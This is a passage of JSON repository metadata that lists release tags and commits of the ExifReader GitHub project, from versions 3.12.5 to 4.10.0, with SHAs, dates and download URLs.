_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.10.0/manifests"},{"name":"v4.9.2","sha":"ef036d3bd5bad7717bbbed999ccfc42eafb60a05","kind":"tag","published_at":"2023-02-26T17:04:59.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.9.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.9.2/manifests"},{"name":"4.9.2","sha":"ef036d3bd5bad7717bbbed999ccfc42eafb60a05","kind":"commit","published_at":"2023-02-26T17:04:53.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.9.2","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.9.2/manifests"},{"name":"v4.9.1","sha":"d58c3072363b18760de4c7a7139573d0bf6af9df","kind":"tag","published_at":"2022-12-19T17:15:52.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.9.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.9.1/manifests"},{"name":"4.9.1","sha":"d58c3072363b18760de4c7a7139573d0bf6af9df","kind":"commit","published_at":"2022-12-19T17:15:43.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.9.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.9.1/manifests"},{"name":"v4.9.0","sha":"76aaf56bdbf748aead8f6525cc048174b44e0ee4","kind":"tag","published_at":"2022-12-12T21:30:08.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.9.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.9.0/manifests"},{"name":"4.9.0","sha":"76aaf56bdbf748aead8f6525cc048174b44e0ee4","kind":"commit","published_at":"2022-12-12T21:30:03.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.9.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.9.0/manifests"},{"name":"v4.8.1","sha":"db29b1f8c8d9ceb94e97c2bf097700a0d0bc7c88","kind":"tag","published_at":"2022-11-08T21:35:22.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.8.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.8.1/manifests"},{"name":"4.8.1","sha":"db29b1f8c8d9ceb94e97c2bf097700a0d0bc7c88","kind":"commit","published_at":"2022-11-08T21:35:15.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.8.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.8.1/manifests"},{"name":"v4.8.0","sha":"8bef406791f6f06f2aa047dbf5d8058fe2584902","kind":"tag","published_at":"2022-11-07T19:36:27.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.8.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.8.0/manifests"},{"name":"4.8.0","sha":"8bef406791f6f06f2aa047dbf5d8058fe2584902","kind":"commit","published_at":"2022-11-07T19:36:17.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.8.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.8.0/manifests"},{"name":"v4.7.0","sha":"742f9914ec6bff6afd2c6ebc6c5729e0889a7642","kind":"tag","published_at":"2022-11-04T21:21:10.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.7.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.7.0/manifests"},{"name":"4.7.0","sha":"742f9914ec6bff6afd2c6ebc6c5729e0889a7642","kind":"commit","published_at":"2022-11-04T21:21:04.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.7.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.7.0/manifests"},{"name":"v4.6.0","sha":"90baa953d3cc04bdf26dc31c2a39e5095aab45dc","kind":"tag","published_at":"2022-10-01T19:00:36.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.6.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.6.0/manifests"},{"name":"4.6.0","sha":"90baa953d3cc04bdf26dc31c2a39e5095aab45dc","kind":"commit","published_at":"2022-10-01T19:00:30.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.6.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.6.0/manifests"},{"name":"v4.5.1","sha":"48a95e7e24ea94801f438780ae43039c572c2954","kind":"tag","published_at":"2022-08-02T18:54:05.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.5.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.5.1/manifests"},{"name":"4.5.1","sha":"48a95e7e24ea94801f438780ae43039c572c2954","kind":"commit","published_at":"2022-08-02T18:53:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.5.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.5.1/manifests"},{"name":"v4.5.0","sha":"f8f2be554328bc5dc17302afb2906fd9c234cf16","kind":"tag","published_at":"2022-04-12T05:19:51.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.5.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.5.0/manifests"},{"name":"4.5.0","sha":"f8f2be554328bc5dc17302afb2906fd9c234cf16","kind":"commit","published_at":"2022-04-12T05:19:46.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.5.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.5.0/manifests"},{"name":"v4.4.0","sha":"7effa200f026b8beabe29b5fee6cf1e5ecac2cd9","kind":"tag","published_at":"2022-03-12T21:35:15.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.4.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.4.0/manifests"},{"name":"4.4.0","sha":"7effa200f026b8beabe29b5fee6cf1e5ecac2cd9","kind":"commit","published_at":"2022-03-12T21:35:10.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.4.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.4.0/manifests"},{"name":"v4.3.1","sha":"292d7e734538f34e1b88456b6cd3b8ae6c5c9232","kind":"tag","published_at":"2022-03-11T06:39:22.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.3.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.3.1/manifests"},{"name":"4.3.1","sha":"292d7e734538f34e1b88456b6cd3b8ae6c5c9232","kind":"commit","published_at":"2022-03-11T06:39:13.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.3.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.3.1/manifests"},{"name":"v4.3.0","sha":"35204faf17f63b142f216faa141f39bd7a78134b","kind":"tag","published_at":"2022-03-04T22:29:36.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.3.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.3.0/manifests"},{"name":"4.3.0","sha":"35204faf17f63b142f216faa141f39bd7a78134b","kind":"commit","published_at":"2022-03-04T22:29:30.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.3.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.3.0/manifests"},{"name":"v4.2.0","sha":"d7920c987dee8e1c2c2a0f18e1a8c725875ec5e2","kind":"tag","published_at":"2022-01-23T15:53:12.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.2.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.2.0/manifests"},{"name":"4.2.0","sha":"d7920c987dee8e1c2c2a0f18e1a8c725875ec5e2","kind":"commit","published_at":"2022-01-23T15:53:03.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.2.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.2.0/manifests"},{"name":"v4.1.1","sha":"2c35c075ec8ee8e8d852631bac91a5b0deb565e4","kind":"tag","published_at":"2021-12-30T17:13:34.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.1.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.1.1/manifests"},{"name":"4.1.1","sha":"2c35c075ec8ee8e8d852631bac91a5b0deb565e4","kind":"commit","published_at":"2021-12-30T17:13:26.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.1.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.1.1/manifests"},{"name":"v4.1.0","sha":"82852e6d72ff0e7035cd5992c0976e1d4ca1ed49","kind":"tag","published_at":"2021-11-21T17:45:51.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.1.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.1.0/manifests"},{"name":"4.1.0","sha":"82852e6d72ff0e7035cd5992c0976e1d4ca1ed49","kind":"commit","published_at":"2021-11-21T17:45:42.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.1.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.1.0/manifests"},{"name":"v4.0.0","sha":"35fdf16dcb1ca863e76e257383fb42e53e573124","kind":"tag","published_at":"2021-10-31T15:54:14.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v4.0.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v4.0.0/manifests"},{"name":"4.0.0","sha":"35fdf16dcb1ca863e76e257383fb42e53e573124","kind":"commit","published_at":"2021-10-31T15:54:04.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/4.0.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/4.0.0/manifests"},{"name":"v3.16.0","sha":"b9189c30e5a0366bc03c2f38b7db3f04fa2b9763","kind":"tag","published_at":"2021-06-06T16:49:33.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.16.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.16.0/manifests"},{"name":"3.16.0","sha":"b9189c30e5a0366bc03c2f38b7db3f04fa2b9763","kind":"commit","published_at":"2021-06-06T16:49:21.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.16.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.16.0/manifests"},{"name":"v3.15.0","sha":"1e017be5f7354772008d931252658d18f15f06c6","kind":"tag","published_at":"2021-04-25T15:46:28.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.15.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.15.0/manifests"},{"name":"3.15.0","sha":"1e017be5f7354772008d931252658d18f15f06c6","kind":"commit","published_at":"2021-04-25T15:46:19.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.15.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.15.0/manifests"},{"name":"v3.14.1","sha":"e704d05f085a03bc42d17c07bb665b17def11424","kind":"tag","published_at":"2021-03-13T12:26:24.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.14.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.14.1/manifests"},{"name":"3.14.1","sha":"e704d05f085a03bc42d17c07bb665b17def11424","kind":"commit","published_at":"2021-03-13T12:26:16.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.14.1","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.14.1/manifests"},{"name":"v3.14.0","sha":"dc0541c471c16068f3ea658b1538c8e56e40c22e","kind":"tag","published_at":"2021-01-31T17:42:05.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.14.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.14.0/manifests"},{"name":"3.14.0","sha":"dc0541c471c16068f3ea658b1538c8e56e40c22e","kind":"commit","published_at":"2021-01-31T17:41:57.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.14.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.14.0/manifests"},{"name":"v3.13.0","sha":"7a5d8bdd128f7e12cf236389419601de6df3da33","kind":"tag","published_at":"2020-12-30T11:02:54.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.13.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.13.0/manifests"},{"name":"3.13.0","sha":"7a5d8bdd128f7e12cf236389419601de6df3da33","kind":"commit","published_at":"2020-12-30T11:02:45.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.13.0","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.13.0/manifests"},{"name":"v3.12.6","sha":"e6665da278003b8104119c08bc8fe2535a921988","kind":"tag","published_at":"2020-11-23T21:48:40.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.12.6","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.6/manifests"},{"name":"3.12.6","sha":"e6665da278003b8104119c08bc8fe2535a921988","kind":"commit","published_at":"2020-11-23T21:48:30.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/3.12.6","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/3.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@3.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/3.12.6/manifests"},{"name":"v3.12.5","sha":"efd7c10371340e24cd56d9b9515e0f27c08650ff","kind":"tag","published_at":"2020-11-21T21:56:49.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/v3.12.5","html_url":"https://github.com/mattiasw/ExifReader/releases/tag/v3.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/mattiasw/ExifReader@v3.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mattiasw%2FExifReader/tags/v3.12.5/manifests"},{"name":"3.12.5","sha":"efd7c10371340e24cd56d9b9515e0f27c08650ff","kind":"commit","published_at":"2020-11-21T21:56:41.000Z","download_url":"https://codeload.github.com/mattiasw/ExifReader/tar.gz/